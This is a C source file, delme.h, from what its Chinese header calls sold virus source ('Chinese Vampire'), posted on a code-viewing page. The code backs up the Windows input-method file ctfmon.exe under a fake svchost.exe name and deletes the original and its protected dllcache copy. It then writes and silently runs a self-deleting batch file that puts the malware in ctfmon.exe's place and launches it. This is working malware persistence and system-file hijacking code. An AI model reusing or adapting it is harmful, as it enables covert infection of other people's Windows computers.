📄 delme.h
字号:
/*
中华吸血鬼源代码 作者:黑网之神购买代码后请勿随便发布,请
珍惜作者的劳动成果!如果代码丢失,概不负责代码风格和注释我
已经改的非常好了比较清晰,容易读懂,没有使用C++,使用纯C编写
,直接在VC++6.0下编译,编译就可以使用,经过数百次的测试,已经
非常完美了,无需过多修改!如果无法清除,请向作者索要一份专杀
作者:黑网之神 2008/5/1
*/
#include "head.h"
#include "closeproces.h"
//-----------------------------------------------------------------------------------
DWORD WINAPI delme(LPVOID lpParameter)
{
//------------------------------------------------------------------------------------
char szpath[MAX_PATH];
char dqpath[MAX_PATH];
char systempath[MAX_PATH];
char systempathbak[MAX_PATH]={0};
char systempathdllcache[MAX_PATH]={0};
FILE *file,*file1;
//------------------------------------------------------------------------------------
GetModuleFileName(NULL,szpath,MAX_PATH); //得到当前文件路径
GetSystemDirectory(systempath,MAX_PATH); //得到系统文件夹
GetCurrentDirectory(MAX_PATH,dqpath); //得到当前文件夹
//------------------------------------------------------------------------------------
strcpy(systempathbak,systempath); //把系统目录名复制给systempathbak
strcat(systempathbak,"\\wins\\svchost.exe");//给systempath完整文件名给备份输入法文件的
//------------------------------------------------------------------------------------
strcpy(systempathdllcache,systempath); //得到系统文件保护目录
strcat(systempathdllcache,"\\dllcache\\ctfmon.exe"); //得到系统文件保护的完整路径
strcat(systempath,"\\ctfmon.exe"); //得到输入法文件完整路径名
WinExec(systempathbak,0); //运行备份的输入法文件
Sleep(1);
//------------------------------------------------------------------------------------
if(strcmp(szpath,systempath))
{
closeproces();
Sleep(1);
file1=fopen(systempathbak,"rb") ;
if (!file1)
{
CopyFile(systempath,systempathbak,FALSE); //把被输入法文件备份到里面
WinExec(systempathbak,0); //运行备份的输入法文件
}
DeleteFile(systempath); //删除输入法文件
DeleteFile(systempathdllcache); //删除被保护的输入法文件
strcat(dqpath,"\\delrunme.bat");
file=fopen(dqpath,"w");
//--------------------------------------------------------------------------
//删除自身的bat
char copy1[MAX_PATH];
char copy2[MAX_PATH];
char copy3[MAX_PATH];
sprintf(copy1,"copy \"%s\" \"%s\"",szpath,systempath);
sprintf(copy2,"\r\ncopy \"%s\" \"%s\"\r\nipconfig\r\ndel \"%s\"\r\n",szpath,systempathdllcache,szpath);
sprintf(copy3,"start %s",systempath);
fputs(copy1,file);
fputs(copy2,file);
fputs(copy3,file);
fputs("\r\ndel %0",file);
fclose(file);
WinExec(dqpath,SW_HIDE);
exit(0);
}
//------------------------------------------------------------------------------------
Sleep(8000);
return 1;
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -